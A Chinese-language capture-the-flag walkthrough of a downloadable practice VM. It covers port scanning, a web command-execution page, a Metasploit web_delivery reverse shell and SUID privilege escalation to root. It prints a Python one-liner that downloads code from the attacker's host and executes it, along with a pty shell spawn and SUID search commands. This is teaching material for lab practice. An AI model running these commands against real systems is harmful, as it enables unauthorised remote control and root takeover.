0x00 靶场环境搭建
链接:https://pan.baidu.com/s/1Ul1V45tb5g_3FggKWbjA4w
提取码:nz02
下载完成之后导入vmware或者virtualBox,网卡改为nat模式或仅主机模式(方便信息收集)
0x01 靶机信息收集
通过kali linux扫描本网段发现靶机IP地址
Kali Linux:192.168.94.207
靶机IP地址:192.168.94.212
发现靶机IP之后,直接上Nmap扫描!发现靶机开放了80、111、139、445、2049nfs几个端口
访问靶机80端口之后没发现有什么可利用的信息,于是直接上dirsearch搜索到一个shell.php文件
访问shell.php文件发现有一串提示,通过翻译后得知可以将cmd作为GET参数传递
那么由此我们可以上传一个shell进行反弹回来。
0x02 渗透测试
打开msfconsole控制台使用web_delivery漏洞攻击模块
"web_delivery"漏洞通常指的是通过利用Web应用程序中的漏洞来交付恶意软件或者进行攻击。这种类型的漏洞可能会允许攻击者向受害者的计算机或系统交付恶意软件,或者执行恶意代码
查看目标类型,默认为Python类型,所以我们也可以使用传参来查看靶机存不存在Python环境
靶机存在Python环境,那么我们生成Python环境的反弹shell命令,
"SRVHOST" 通常是指在渗透测试或网络安全领域中使用的一个参数或变量,代表服务主机的 IP 地址或主机名。在一些渗透测试工具(比如 Metasploit)或网络安全工具中,可以通过设置 SRVHOST 来指定服务监听的主机地址。
例如,在使用 Metasploit 搭建一个反向 Shell 的时候,你可能需要指定 SRVHOST 参数来告诉 Metasploit 监听连接的主机地址。这样做可以确保服务只接受来自指定主机的连接请求,而不会接受其他主机的连接
这里得将反弹shell的命令进行url编码,然后使用cmd传参靶机才能接收执行此命令!
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.94.207:8080/NmuALiAL7XOs', context=ssl._create_unverified_context());exec(r.read());"
这里我使用burpsuite进行url编码
使用cmd进行传参,返回kali中弹回了一个session,直接连接这个session得到shell
0x03 靶机提权
又到了经典的提权环节了,我们这里可以先使用Python实现交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
这里我们可以了解一个知识点:SUID
SUID(Set User ID)是一种用于提升程序权限的特殊权限位。当一个可执行文件的 SUID 位被设置时,该程序将以文件所有者的权限来执行,而不是执行该程序的用户的权限。
SUID 权限通常用于需要以特定用户权限执行的程序,比如一些系统命令或管理工具。例如,passwd 命令通常具有 SUID 权限,因为它需要修改系统密码文件,这是普通用户无法直接操作的。通过 SUID 权限,普通用户可以执行 passwd 命令来修改自己的密码,而无需获取 root 权限。
然而,SUID 权限也带来了安全风险,因为恶意用户可能会利用具有 SUID 权限的程序来进行特权提升或执行其他恶意操作。因此,系统管理员需要谨慎地管理具有 SUID 权限的程序,并确保它们没有潜在的安全漏洞。
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd这个文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID。那么这个特殊权限的特殊性的作用是什么呢?
1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。
以下语句可以用来搜索具备SUID权限的程序
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
find / -user root -perm -4000 -print 2>/dev/null
接下来我们可以使用命令来查找具有suid权限的可执行文件,发现在/home/user3目录存在一个shell,进行此目录查看权限发现存在s标志出现在x权限上面,那么我们可以确定这个文件可以进行提权。
运行此shell执行文件,成功提权到root权限